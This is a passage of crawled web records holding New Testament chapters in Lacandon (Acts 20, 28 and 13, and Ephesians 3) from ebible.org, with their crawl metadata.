in c'at quin mʌnic. Bayiri' xan, a mac in wet tsicbarob u t'ʌn C'uj, caj in jʌsaj ti'ob a ba' u c'at xan.\n35 Mʌ' ja wirej, a teno' rajra' caj in wesaj techex wa ca chich beyajex an ten bic ten caj in betaj, jeroj, yʌn a bat'an yamtiquex a mac a yʌn u yajir. C'ʌ'otej techex u t'ʌn ic Jaj Ts'urirex. Raji' caj u ya'araj: \"Ba' cu jach qui'quintic yor mac, a ba' ca ts'ic ti' mac, mʌ' chen a ba' cu c'ʌmique'.\"\n36 Barej caj ts'oc u tsicbar aro' an ten bic nanij cu beticob, caj xonrʌj Pablo yejer tu cotorob quir u t'ʌnic C'uj.\n37 Caj ac'ta'b Pablo ten tu cotor a nuxibob u jach ts'urirob a yacsmʌnob tu yorob, caj rʌc oc'nʌjob tu cotor. Jeroj caj u pʌtʌxmec'ta'b Pablo u jach ts'urirob a yacsmʌnob tu yorob tu cajar Efeso. Caj ts'uts'a'b u p'uc Pablo, quire' bin u ca'.\n38 Jach yaj cu yac'ticob, quire' yubob ya'aric Pablo. Mʌ' u yʌnyʌn bin irbir u wich. Hasta yet binacob tu cu yocar ich chem Pablo.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC20.html","date":"2022-06-30T08:25:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00159.warc.gz","language":"lac","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999990463256836}","num_words":1771,"character_repetition_ratio":0.076,"word_repetition_ratio":0.001,"special_characters_ratio":0.273,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\nPablo ich u petenin c'ac'nab u c'aba' Malta\n1 Barej caj c'uchenob, quij Lucas, ich ru'um, a mac ti' cʌja'anob ich ru'um caj u ya'arob tenob u c'aba' u peten. Malta u c'aba', quij.\n2 A mac cʌja'an ich u petenin Malta caj u yacsajenob. Caj u t'ʌbajob c'ac' quir in q'uichob. Mʌ' ja wirej, u yʌnx chun u tar ya'arir, rajen jach que'er.\n3 Pablo tune', caj ts'oc u cuchic si', caj u nuts'ob q'uich. Caj puts'ij can ti' c'ac', a ti' yʌn ich si' ca' bʌc'ʌc'ʌxta'b u c'ʌb Pablo, ti' chi'bir.\n4 Caj ir ten a mac a cʌja'an ich u petenin Malta ba' u ber ti' Pablo. Robob caj u pacran a'arajob ich u rac'ob:\n―A je' xiba', jach taj caj u quinsaj mac, cax mʌ' bint ja' chen in c'ujob u c'ujir quin wa'aricob, Justicia, bin u ca' u quinsic.\n5 Barej, caj u titaj u c'ʌb soc u rubur ich c'ac'. Ti' erij ich c'ac'. Mʌna' ba' u ber Pablo.\n6 Robob a ti' cʌja'an ich u petenin Malta, caj u pajajob yirej wa je' u quimin. Caj u pajajob yirej wa je' u chupur tu chi'bir ten can. Sasam caj u yirajob mʌna' ba' u ber, caj u rʌc c'axajob u tucur, caj u ya'arajob:\n―Jaj ix tʌcoj, raji' tsoy yirir ten c'uj.\n7 Ti' a ray u cuchir q'uicho' tu yʌnenob uch ti' yʌn mac u jach ts'urir u petenin Malta. Publio u c'aba'. Raji' mʌ' nenach tu quin q'uichob, quij Lucas, yʌn u cor. Caj u pʌyenob tu yatoch caj u qui' acsajenob mʌna' u nup u q'uinin.\n8 A werex ba' u ber? Caj u cʌnaj u yajir u tet Publio. Raji' characbar, quire' yʌn chʌcwirir yejer q'uic' u ta'. Pablo caj bin yirej, caj ts'oc u t'ʌnic C'uj caj u ts'anc'ʌbtaj tu jo'r, jeroj caj jawij.\n9 Rajen rʌc tarob a mac yajo' tu petenin Malta, tarob ich Pablo. Rʌc tarob, quire' yubob ya'ara' jawsa'b u tet Publio ten Pablo. Caj rʌc jawsa'b a mac yaj ten Pablo.\n10 Robob caj u sijaj tenob ya'ab u ba'tac. Wa ber caj wʌc'ʌs oquenob ich u jer u chemin c'ac'nab quir in binob, a mac a cʌja'an ich u petenin Malta, caj u chucaj tenob a mun yo'och in c'atob caj binenob ich chem.\nPablo cu c'uchur tu cajar Roma\n11 A je' chema', caj u masaj u q'uinin tan ja' yejer ic' ich u petenin Malta. Tar u tar tu cajar Alejandría. Ich u jor u chemin, ti' beta'an ten mac ca'tur yochir winic. Turiri' u c'aba' Cástor, u jer turiri' u c'aba' Pólux. Mʌ' ja wirej, caj in masajob mʌna' u nup ic nʌ' ich u petenin Malta, rajen caj oquenob ich chem quir in binob.\n12 Caj in p'ʌtajob u petenin Malta, caj binenob ich chem. Caj c'uchenob tu jor chem tu cajar Siracusa. Jach oma'an caj ruq'uenob, mʌna' u nup u q'uinin caj ruq'uenob.\n13 Caj ruq'uenob ich u jor chem Siracusa. Tu chi' c'ac'nab caj binenob ich chem tac tu jor chem u cajar Regio. Caj sasij nojar u wich ic' caj joq'uenob quir in binob ich chem. Caj in masajob ca'tur u q'uinin quir in c'uchurob tu jor chem tu cajar Puteoli.\n14 Caj c'ucho'onex tu cajar tu jor chem Puteoli, caj in wirajob ij quet acsa'orirex. Tu c'aten, caj p'atenob turiri semana. Caj ts'oc u man turiri' semana, caj binenob caj oquenob tu cajar Roma.\n15 A mac a yacsmʌnob tu yorob tu cajar Roma, yubmʌnob tabar in c'uchurob tu cajar Roma, caj joc'ob quir u nup'iquenob ich bej. Caj u nup'ajenob tu cajar Foro de Apio. U jerob, caj in nup'ajob caj c'uchenob tu cajar Tres Tabernas. Caj irir a yacsmʌnob tu yorob ten Pablo, caj u chichquintajob yor Pablo caj u ya'araj: \"Bayo' C'uj\", quij Pablo.\n16 Caj c'uchenob tu cajar Roma u yʌjt'ʌnir cien soldados caj u c'ubaj Pablo yejer tu cotor a mac c'ʌra'anob ti' u jach ts'urir, a mac a cu cʌnantic tu cotor u c'ʌr winiquirob. Barej cha'b Pablo u cʌjtar tu junan. Jari' cʌnanta'b ten turiri' soldado soc mʌ' u puts'ur.\nPablo cu tsec'tic u t'ʌn C'uj tu cajar Roma\n17 Pachir caj manij mʌna' u nup u q'uinin Pablo, caj u tuchi'taj t'ʌnbir u jach ts'urirob u winiquirob judío. Barej, caj u rʌc much'quintajob u bʌj ich Pablo, raji' caj u ya'araj ti'ob:\n―U'yex ba' quin wac techex in wet winiquirechex judío. A teno', caj u c'uben in wet winiquirob judío tu cajar Jerusalén ti' u winiquirob romano, cax mʌna' in si'pir. Mʌ' jin p'astaj a ba' ara'b to'onex ten ic nunquirex, mʌna' ba' caj in betaj ti' in wet winiquirob judío tu cajar Jerusalén xan.\n18 U winiquirob romano, caj ts'oc u cʌxticob yirej wa yʌn in si'pir, u c'at u cha'iquen. Mʌ' ja wirej, mʌ' ju yiraj wa yʌn in si'pir quir in quinsa'.\n19 In wet winiquirob judío, mʌ' u c'at u cha'iquenob. Rajen caj in c'ataj, ca' u tuchi'tenob ich u rey César soc in tsicbʌtic ti' soc in taquic in bʌj. A teno', mʌ' ba'wir quin pʌq'uic u pachob in wet winiquirob judío.\n20 Rajen caj in t'ʌnajechex soc a tarex ca' tsicbanʌco'onex. Mʌ' ja wirej, a teno', quin wacsic tin wor u t'ʌn ti' a mac a cu pajicob u tarej u winiquirob judío, rajen caj u chuquenob quir u mʌquiquenob.\n21 Robob tune', caj u ya'arajob:\n―A tenob, mʌ' jin wirob u ju'unirob tu tuchi'ta'b ten in wet winiquirob judío tu ru'umin Judea. Mʌ' c'uchij turiri' mac quir u ta'quic a jo'r.\n22 Chen cu juminta'r ten tu cotor mac ich yoc'ocab, jach c'as a mac a tu yacsob tu yorobe'. Rajen arej tenob ba' ca tucric quire' in c'at in najticob.\n23 Robob caj u p'isajob u q'uinin soc u tarob u much'quintob u bʌj ich Pablo. Caj c'uchij tu q'uinin caj rʌc tarob tu cʌja'an Pablo. U burur q'uin, tac u bin u q'uinin, Pablo caj tsicbanʌjij u t'ʌn C'uj ti'ob soc u yacsicob tu yorob u t'ʌn Jesús, caj u yesaj ti'ob ich u t'ʌn Moisés, bayiri' xan, ich u t'ʌnob, a ts'ibta'b ten a mac ts'a'b u tucurob ten C'uj, quir u ts'ibticob a ba' u c'at C'uj uch.\n24 Yʌn jun yarob u winiquirob judío, tsoy yubicob a ba' ara'b ti'ob ten Pablo rajen caj u yacsajob tu yorob u t'ʌn Jesús, chen ti' yʌn u jerob, mʌ' tsoy caj yubajob, rajen mʌ' ju yacsajob tu yorob.\n25 A mun mʌ' ju yacsajob tu yorob u t'ʌn Jesús, mʌ' quet yorob ich u yet winiquirob judío, mʌ' ja wirej, u c'at u binob ich yatochob, quire' yubob ya'ara' ten Pablo:\n―Mʌ' wa jach taj u t'ʌnob a mac ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj? Raji' Isaías, a mac ts'a'b u t'ʌnin ten u Taj'or u Pixam C'uj, rajen caj u ya'araj:\n26 Joq'uen arej ti' a je' u winiquirob judíojo', cax tu yʌnob. Ca' a wa'arej ti'ob: Cax u burur q'uin ca wu'yiquex in t'ʌn mʌ' a yʌnyʌn najtiquexi'. Cax u burur q'uin ca wiriquex ta wichex mʌ' a yʌnyʌn najtechex a ba' ca wiriquex ta wichex.\n27 Chich a jo'rex, rajen mʌ' a quibiquexi', mʌ' ja najtiquexi'. Mʌ' a cʌxtex a wirex soc a c'axiquex ta worex ca' a p'ʌtex u c'asir tu ca manex. Rajen C'uj, mʌ' u ruc's a si'pirex. Baxuc caj u ya'araj Isaías uch.\n28 Rajen u'yex ba' quin wac techex. Naj techex a jera', baje'rer, u t'ʌn C'uj bin u ca' u tsec'tej ich a mʌ' u winiquirob judío. Bin u ca' u yubob bic C'uj caj u jawsaj u si'pirob. Jach taj, a mʌ' u winiquirob judíojo' bin u ca' u c'ʌmicob u t'ʌn C'uj. Baxuc caj u ya'araj Pablo ti' u winiquirob judío a tarob tu yatoch.\n29 Caj ts'oc ya'aric Pablo aro'. C'am caj pacran t'ʌnajob u winiquirob judío, c'am caj u nunquob u t'ʌn ich u yet winiquirob judío, barej caj rʌc joc'ob.\n30 Tiri' p'atij Pablo ich u cajar Roma, toc nupa'an ca'tur yaxq'uin. Caj u mʌjantaj yatoch quir u cʌjtar, u bʌjiri' caj u bo'otaj yejer u taq'uin a caj u jaraj tu cu beyaj. A mun caj u c'uchur tu yatoch cu rʌc acsaj tu yatoch.\n31 Mʌna' mac caj u ma'quintaj Pablo, rajen Pablo caj u tsicbʌtaj bic C'uj cu bin u reyinticob. Chich yor Pablo caj u camsaj u t'ʌn u Jaj Ts'ur Jesucristo.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC28.html","date":"2022-06-26T18:16:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00567.warc.gz","language":"lac","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999984502792358}","num_words":1370,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.283,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nA Pablojo' ts'a'b u beyaj ten C'uj soc u tsec'tic u t'ʌn C'uj ich mʌ' u winiquirob judío\n1 Mʌ' ja wirej, a ucho' ara'b ten C'uj wa cu bin t'ʌnbir a mac a mʌ' u winiquirob judío. Rajen a teno', Pablojen, rajen maquen ich tu cu ma'cʌr winic quire' binen in tsec'tej ti' u t'ʌn C'uj techex, a mac a mʌ' u winiquirob judío. Quire' tan in t'ʌnic C'uj ti' techex.\n2 Tin t'ʌn, caj a wu'yex ti' ten wa ju jach tsoyir u pixam C'uj caj u ts'aja ten in beyaj ca' xiquen in tsec'tej techex u t'ʌn C'uj.\n3 A C'ujo', caj u cha' in wer tin pixam a ba' in nunquirob mʌ' cha'b yerob uch. Rajen aro' caj in ts'ibtaj techex uch cax chichin tin wa'araj techex.\n4 Rajen wa ber ca' bin a xaquex a je' ju'una', a techexo' je' a wiriquex wa C'uj caj u cha' in wertic tin pixam wa Cristo je' yiric tsoyirechex ti' a techexo', a mac mʌ' u winiquirob judío, bayiri' xan, chʌca'an je' u yamtic techex. Ra' mʌ' yero' u winiquirob judío a ucho'.\n5 A ch'ic ucho', mʌ' u cha'b C'uj yerticob aro', chen baje'rer, tu cha' in werob, a tenob, a mac teta'b ten Cristo quir in binob in tsec'ticob u t'ʌn yejer a mac a tu tsec'tajob u t'ʌn C'uj a ucho'. Mʌ' ja wirej, quire' u Taj'or u Pixam C'uj tu cha' in werob aro'.\n6 Cha'b in werob wa quet quic bin ij c'ʌmiquex ti' C'uj a ba' cu bin u yamtic tu cotoro'onex, cax wa ju winiquirob judío cax wa mʌ' u winiquirob judío. Mʌ' ja wirej, C'uj tu p'eri'quinto'onex quire' Jesucristo. Caj toc ara'b ten C'uj, quet quic bin ij cuxtarex munt q'uin, quire' tij cacsaj tij corex ti' u jach tsoyir u t'ʌn C'uj.\n7 A C'ujo' caj u ts'ajaj ten in beyaj quire' u jach tsoyir u pixam. Bayiri' xan, quire' u jach tsoyir u pixam C'uj caj u chichquint in wor soc c'ucha'an in wor in beyaj ti' C'uj.\n8 A teno', quij, mʌ' jach nojeni', chen u jer in wet acsʌ'orirob a mac C'uj yʌninob, robob jach manan nojob. Cax wa mʌ' jach nojen a C'ujo' caj u ts'aja in beyaj quire' u jach tsoyir u pixam C'uj, mʌ' ja wirej, tu cha' in tsec'tic u t'ʌn ich a mac a mʌ' u winiquirob judío. Tin tsec'taj ti'ob u jach manan u tsoyir u pixam C'uj quire' Cristo, soc mʌ' biq'uin mʌ' u ts'ocor yerob biquira' u tsoyir u pixam C'uj.\n9 A teno' caj in tsec'taj ti' tu cotor mac, tan in wa'aric ti'ob, quet a C'ujo' cu taquico'onex, cax a techexo' a mʌ' u winiquirechex judío, cax u winiquirob judío, quet cu tocar tu cotor mac. Mʌ' ja wirej, baxuc C'uj caj u tucraj u betej tu ch'ic chunin tu cotor ba', chen a mac cuxa'an a ucho' mʌ' yerobi'.\n10 Caj yirob yʌjmasirob u t'ʌn C'uj bic tabar tij cacsex tij corex ti' Jesús baje'rer, caj u yirob u jach ts'urir yʌjmasirob u t'ʌn C'uj ich ca'anan, caj u yirajob a C'ujo' yer tu cotor ba'. U jach ts'urir yʌjmasirob u t'ʌn C'uj tu yirob xan bic tabar C'uj cu tucric u jer ya'ab ba'.\n11 Mʌ' ja wirej, a C'ujo' baxuco' rajra' tu tucraj ich u pixam wa je' u p'eri'quintajo'onex quire' a ba' cu bin u betic Jesucristo ic Jaj Ts'urirex.\n12 Mʌ' ja wirej, quij, quire' a ba' caj u betaj Jesucristo yʌn to'onex u chichquintic ij corex quir ic binex ʌcʌtan ti' C'uj. Mʌna' ba' quic tucriquex, wa ber quic tsicbarex ti' C'uj, mʌ' ic ch'a'ex sajaquirex, quire' tij cacsex tij corex ti' u parar.\n13 Rajen, mʌ' a wac'tiquex a bʌjex, cax tan in muc'yaj quire' tin tsec'taj u t'ʌn C'uj ti' techex. Ti' yʌnen tu cu ma'cʌr winic soc u joc'ar tu tsoyir techex.\nJach manan u yajquintico'onex Cristo\n14 Rajen quin xontar ʌcʌtan ti' ic Tet C'ujex. Quire' quin t'ʌnic C'uj ti' techex.\n15 Mʌ' ja wirej, raji' ic Tetex, C'uj, raji' ic Tetex yejer yʌjmasirob u t'ʌn C'uj ich ca'anan, cax to'onex ich yoc'ocab raji' ic Tetex C'uj.\n16 Rajen quin c'atic ti' C'uj, soc u chichquintic a worex u Taj'or u Pixam C'uj. Je' u ts'ic techex quire' jach manan tsoyir u pixam a C'ujo'.\n17 A teno', quij, quin c'atic ti' C'uj toc jump'eri' ca' u ts'urintej a pixamex Cristo quire' ta wacsaj ta worex ti' Cristo. Quire' u yajechex rajen ca' a yajquintex C'uj. A baywo', cu bin u chichquintej a worex soc mʌ' u pec a worex.\n18-19 A baywo' toc quet yejer ij quet acsʌ'orirex je' ij qui' cʌniquex ich ic pixamex wa jach manan Cristo cu yajquintico'onex. Mʌ' bic tabar quic ch'ic u p'is ij querex bic tabar u yajo'onex, a mac yʌnin C'uj. A teno' in jach c'at a werex wa Cristo u jach yajechex, mʌ' c'ucha'an ij corex ic najtiquex mun u jach yajo'onex Cristo. Wa baxuc ca wacsiquex ta worex, a C'ujo' je' u yocar ta pixamex soc jari' ca bin a betex a ba' u c'at C'uj ca' a betex.\n20 A C'ujo' rajra' cu beyaj tic pixamex. Mʌ' ja wirej, a C'ujo' c'ucha'an yor jach manan u beyaj ti' a ba' quic tucriquex. Cax wa mun quic tucriquex ca' ij c'atex ti' C'uj jach manan c'ucha'an yor u ts'ic to'onex C'uj.\n21 Ca' ic sʌjtex C'uj, rajra' ca' ic sʌjtex C'uj, cax munt q'uin ca' ic sʌjtex C'uj tu cotoro'onex a mac a cu bin tacbir ten Jesucristo ca' ic sʌjtex C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/EP3.html","date":"2022-07-01T22:23:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103947269.55\/warc\/CC-MAIN-20220701220150-20220702010150-00779.warc.gz","language":"lac","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000046491622925}","num_words":906,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.291,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nBernabé yejer Saulo cu yʌnxchun u tsec'ticob u t'ʌn C'uj ich tantanxer ru'um\n1 Bernabé ti' yʌn ich u cajar Antioquía uch tu cu naj much'quinticob u bʌj a yacsmʌnob tu yorob quir u c'ujinticob C'uj. Ti' yʌn u jer xib Simón a boxe' yejer Bernabe. Ti' yʌn Lucio yejer Bernabé, ra' u cajar Cirene uch. Ti' yʌn Manaén yejer Bernabé, ra' tsemta'b ten u tet Manaén uch. Raji' gobernador Herodes u ru'umin Galilea. Ti' yʌn Saulo yejer Bernabé. Robob tʌcʌj yʌjtseq'uirob u t'ʌn C'uj, bayiri' xan, yʌjcamsʌyʌjirirob u t'ʌn C'uj.\n2 U q'uinin caj u c'ujintob Jaj Ts'ur, mʌ' ju janʌnob, quire' caj u sʌjtob C'uj tu cu t'ʌnicob C'uj a yacsmʌnob tu yorob u t'ʌn Jesús. A ray u q'uinino', u Taj'or u Pixam C'uj caj u ya'araj ti'ob:\n―Tetenex ―quij u Taj'or u Pixam C'uj―, ca' xicob u tsec'tob ra' in warmʌnob u beyajob uch.\n3 Caj ts'oc mʌ' ju janʌnob, quire' cu sʌjticob C'uj bayiri' xan, barej caj ts'oc u t'ʌnicob C'uj, a ti' much'a'anob a yacsmʌnob tu yorob, caj u ts'anc'ʌbtajob Bernabé yejer Saulo soc u c'ʌmicob u beyajob Saulo yejer Bernabé. Jeroj tune', caj u tuchi'tajob ca' xicob tu beyajob.\nBernabé yejer Saulo cu binob ich u petenin Chipre\n4 Baxuc toc ara'b ti'ob ten u Taj'or u Pixam C'uj, rajen ti' binob Bernabé yejer Saulo. Ti' binob ich u cajar Seleucia, u jor chem Seleucia. Caj u yirajob chem caj ocob quir u binob ich u petenin c'ac'nab Chipre.\n5 Caj c'uchob tu jor chem, a pach u c'aba' Salamina. Tiri' joc'obi' ich u cajar Salamina. Ti' caj u yʌnxchun u tsec'tob u t'ʌn C'uj ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Yet taracob Juan Marcos quir u yamta'ob tu cu tsec'ticob u t'ʌn C'uj.\n6 Caj manob u rʌc ch'ʌctob u petenin Chipre. Tiri' cu manob u tsec'ticob u t'ʌn C'uj hasta c'uchijob ich u cajar Pafos. Tiri' caj u nupob turiri' u winiquir judío, u c'aba' Barjesús. Raji' cu c'ʌyic mac, a Barjesúso'. U bʌjiri' tus a'aric yʌjtseq'uiren u t'ʌn C'uj, u chen tusarbar.\n7 A je' Barjesúsa', ti' yʌn yejer Sergio Paulo. Raji' gobernador, mʌ' jach chich u jo'r quir u cʌnic. T'ʌnij Bernabé yejer Saulo ca' tacob tsec'bir yubej u t'ʌn C'uj, quire' u c'at yubic u t'ʌn C'uj Sergio Paulo.\n8 A Barjesúso', a cu c'ʌyic mac, pach u jer u c'aba' xan, Elimas u jer u c'aba'. Raji' caj u ma'quintaj soc mʌ' u tsec'tob u t'ʌn C'uj ich Sergio Paulo soc mʌ' u yacsic tu yor. Elimas u c'at ya'aric yʌjc'ʌyir mac.\n9 Chen Saulo a mac yʌn u jer u c'aba' xan. Pablo u jer u c'aba'. Pablo caj u qui' pʌctaj u wich yʌjc'ʌyir mac. Raji' caj u jach ts'urintaj u Taj'or u Pixam C'uj, Pablo, rajen caj u t'ʌnaj yʌjc'ʌyir mac.\n10 Caj u ya'araj ti':\n―U pararech quisin. Yʌjtusarirech ti' mac a techo'. Ca betic a ba' cu ya'aric tech quisin. Ca ma'quintic tu cotor a ba' jach tsoye'. Tech ca jer mastic u t'ʌn C'uj soc mʌ' u c'ʌmic u t'ʌn C'uj, ta t'ʌn. Biquinin mʌ' a p'ʌtic a camsic a baxuco'?\n11 Baje'rer, Jaj Ts'ur cu bin u ts'ic tech a si'pir. Je' u yac'birchʌjʌr a wich soc ya'ab q'uin mʌ' ja wir a ber, mʌ' ja bin a wirej chunq'uin.\nSeb caj ac'birchʌjij u wich. Mʌ' ju yir u ber, rajen caj u cʌxtaj mac yʌjmʌchir u c'ʌb quir u payʌr u ber.\n12 Barej, gobernador caj u yiraj bic ac'birchʌjij u wich Barjesús, jeroj caj u yacsaj tu yor gobernador, quire' jach jaq'uij yor caj yubaj u camsa'ob u t'ʌn C'uj.\nPablo yejer Bernabé ich u cajar Antioquía a ti' yʌn ich u ru'umin Pisidia\n13 Pablo caj u cʌxtaj chem quir u bin Pablo yejer u yet beyajob, jeroj caj ruc'ob ich u cajar Pafos caj c'uchob ich u jor chem Perge. Ra' ti' yʌn ich u ru'umin Panfilia. Barej, caj c'uchob ich u cajar Perge, caj u p'ʌtaj u beyaj caj sutnʌj tu pach Juan Marcos. Tar bin ich u cajar Jerusalén.\n14 U bʌjiri'ob Pablo yejer Bernabé caj u p'ʌtajob u cajar Perge. Caj binob, tar u wich u binob ich u cajar Antioquía, a ra cajaro' ti' yʌn ich u ru'umin Pisidia. Caj c'uchij tu q'uinin cu je'rar u winiquirob judío, jeroj caj ocob ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj ocob, caj curʌjob. Mʌ' ja wirej, caj u much'quintob u bʌj u winiquirob judío.\n15 Caj ts'oc u xaquic u t'ʌn C'uj quir u yubicob tu cotor mac a ti' yʌn ich u chan najir. Mʌ' ja wirej, caj u xacaj a ba' caj u ts'ibtaj u nunquirob Moisés, yejer a ba' caj u ts'ibtajob a mac a ts'a'b u tucur ten C'uj quir u ts'ibticob a ba' u c'at C'uj uch. Caj u t'ʌnajob Pablo yejer Bernabé. Caj t'ʌnij u jach ts'urirob u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u ya'araj ti':\n―Toc arej tenob, in wet winiquirob judío ―quij―, a cu chichquintic ij corex. Arej to'onex, baje'rer quen.\n16 Rajen Pablo caj ric' ch'ictar quir u tsec'tic u t'ʌn C'uj ti'ob. Caj u yes u c'ʌb soc mʌ' u t'ʌnob, jeroj caj u ya'araj:\n―U'yex a ba' quin wa'aric techex u xibirechex u winiquirechex israel, baxuc a techexe' a mac a cu sʌjticob C'uj. U'yex a ba' quin wa'aric.\n17 Raji' quij c'ujintiquex u c'ujir u winiquirob israel, a ra' tu tetaj ic nunquirex uch. Raji', tun, caj u cha'j u pimtarob uch ti' toy yʌnob ich u ru'umin Egipto. Mʌ' wa caj u yesaj u muc' C'uj, ra' u q'uinin caj u joc'saj ic nunquirex ich u ru'umin Egipto, caj u pʌyaj u berob uch.\n18 A C'ujo', caj u cʌnantaj ic nunquirex cuarenta yaxq'uin ich tacay ru'um an ten bic u cʌnanta'r chan ochir ten u nʌ'.\n19 Mʌ' wa C'uj caj u ch'esajo' u winiquirob canaán? Caj u rʌc ch'esaj u cajarob a mac a cʌja'anob ich u ru'umin Canaán. Caj u toc rʌc ch'esaj siete u cajarob a ti' yʌnob ich u ru'umin Canaán uch, quir u rʌc sijir ti' ic nunquirex uch, soc robob yʌnin u ru'umob.\n20 Caj ts'oc u jʌsic ti'ob u ru'umin, caj manij cuatrocientos yaxq'uin, pachir a C'ujo', caj u tetaj u jach ts'urirob u winiquirob israel quir u ts'urinta'r tenob u winiquirob israel. A ray u winiquirob israel quir yiricob wa qui' yorob, wa yʌn c'as ti'ob. Caj jach ts'urinta'bob u winiquirob israel hasta c'uchij tu q'uinin u tar Samuel, a mac a ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj.\n21 Caj u ya'araj Pablo ti' a mac a ti' yʌnob ich u chan najir, tu cu naj c'ujinticob C'uj u winiquirob judío:\n―Ic nunquirex caj u c'ataj ti' C'uj uch, quir u teticob u rey quir u reyinticob ic nunquirex. Rajen tuchi'ta'b Saúl ten C'uj quir u reyinta'r ten ic nunquirex. Ra' u tet Saúl u c'aba' Cis. Ra' u yo'nen Saúl, Benjamín. Saúl caj u reyintaj ic nunquirex cuarenta yaxq'uin.\n22 Tu cu reyinta'r caj ruc'sa'b ten C'uj, caj oc u ts'aj ti' David reyir. Mʌ' ja wirej, u tet David Isaí uch. C'uj caj u ya'araj ti' David: \"In wer a David cu jach qui'quintic in wor. Raji' cu quibic tu cotor ba' quin wa'aric ti'.\"\n23 Mʌ' ja wirej, turiri' u ca' parar u ca' parar u nunquir David, raji' Jesús. Quire' caj u toc araj C'uj uch: \"Je' u tar u ca' parar u ca' parar ti' u nunquir David ca' bin tac tu q'uinin, a cu bin u taquic u winiquirob israel.\" Rajen tarij Jesús.\n24 Mʌ' toy yʌnxchunac u camsic Jesús, ti' yʌn Juan a cu yacsic ja' tu jo'r mac, caj u tsec't u t'ʌn C'uj ich tu cotor u winiquirob judío. A Juano', caj ya'araj ti'ob: \"Ca' a c'axex a worex, ca' a p'ʌtex a c'aso', soc ca' acsaquex ja' ta jo'rex.\" Ra' quir u yesicob caj c'axob tu yorob.\n25 Jach tabar u ts'ocar u tsec'tic u t'ʌn C'uj Juan, caj u ya'araj Juan: \"A techexo', ca tucriquex Cristojen, a ca pajiquex u tar. Mʌ' teni'. Pachir u tar tin pach. A teno', tin t'ʌn mʌ' jach patareni' quir in pitic u c'anir u pech' xʌnʌb. Quire' jach carem a cu tar tin pacho'.\"\n26 A teno', quin t'ʌniquechex in wet winiquirob judío, quire' a to'onexo', u pararo'onex ic nunquirex Abraham. Ra' quin t'ʌnicobo' a mac a cu sʌjticob C'uj, a mac a ti' yʌnob tera' baje'rer. C'uj u c'at ca' ij cu'yex u t'ʌn quir u taquico'onex tu cotor, rajen tuchi'ta'b u t'ʌn quir ij cu'yex u t'ʌn C'uj.\n27 A mac a ti' cʌja'anob ich u cajar Jerusalén, quet yejer u jach ts'urirob u winiquirob judío a ti' yʌn ich u cajar Jerusalén, mʌ' ju c'ʌ'otajob Jesús. Mʌ' yerob maqui' uch, mʌ' ju najtajob tu ts'iba'an ten a xibo', a ts'a'b u tucurob ten C'uj quir u ts'ibticob a ba' u c'at C'uj. Mʌ' ja wirej, quire' caj u c'atajob ti' u winiquirob romano ca' quinsacob ti' Jesús. Jeroj caj u nup'sajob a ba' caj u toc araj a mac a ts'a'b u tucurob ten C'uj quir u ts'ibticob a ba' u c'at C'uj uch, cax rajra' cu xaquicob aro' ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, ca' bin c'uchuc tu q'uinin u je'rar u winiquirob judío.\n28 Cax mʌna' u si'pir Jesús, caj u c'atajob a mac a cʌja'anob ich u cajar Jerusalén, caj u c'atajob ti' Pilato ca' quinsacob ti' Jesús.\n29 Barej caj ts'oc u nup'sicob a ba' ts'ibta'bob ti' a xibob, a ts'a'b u tucur ti'ob ten C'uj, quir u ts'ibticob a ba' u c'at C'uj ti' Jesús. Jeroj tune', caj ensa'b Jesús tu bʌja'an ich u cruz, caj binob t'ajbir u baquer ich u japnin tunich.\n30 Chen C'uj caj u ric'saj ti' u quimirir ca' wʌc'ʌs cuxrac Jesús.\n31 A mac a yet taracob Jesús uch, caj ruq'uij ich u ru'umin Galilea tu cu bin ich u cajar Jerusalén. A je' yet taracob caj u yesaj u bʌj ti'ob. Ya'ab u q'uinin caj u yesaj u bʌj Jesús ti' a yet manacob uch caj ric'sa'b ich u quimirir ten C'uj. Rajen a ju yet manacob uch caj u manob u tsicbʌticob u t'ʌn Jesús. A ba' caj u yirajob u betic Jesús uch, ra' cu manob u tsicbʌtob ti' tu cotor mac.\n32-33 Rajen ti' yʌnenob baje'rer soc in tsicbarob techex u jach tsoyir u t'ʌn C'uj. Soc a werex a ba' caj u toc araj C'uj ti' ic nunquirex uch, toc nup'sa'an to'onex a mac a u ca' pararob ic nunquirex. Mʌ' ja wirej, caj ric'sa'b Jesús ten C'uj caj u nup's u t'ʌn C'uj to'onex. Mʌ' ja wirej, ti' ts'iba'an jun xot' u t'ʌn C'uj, cu ya'aric salmo ca'tur: \"A techo', in pararech, baje'rer quin wesic tech ʌcʌtan tu cotor mac soc yerob tu cotor mac in pararech.\"\n34 A ucho', caj u ya'araj C'uj 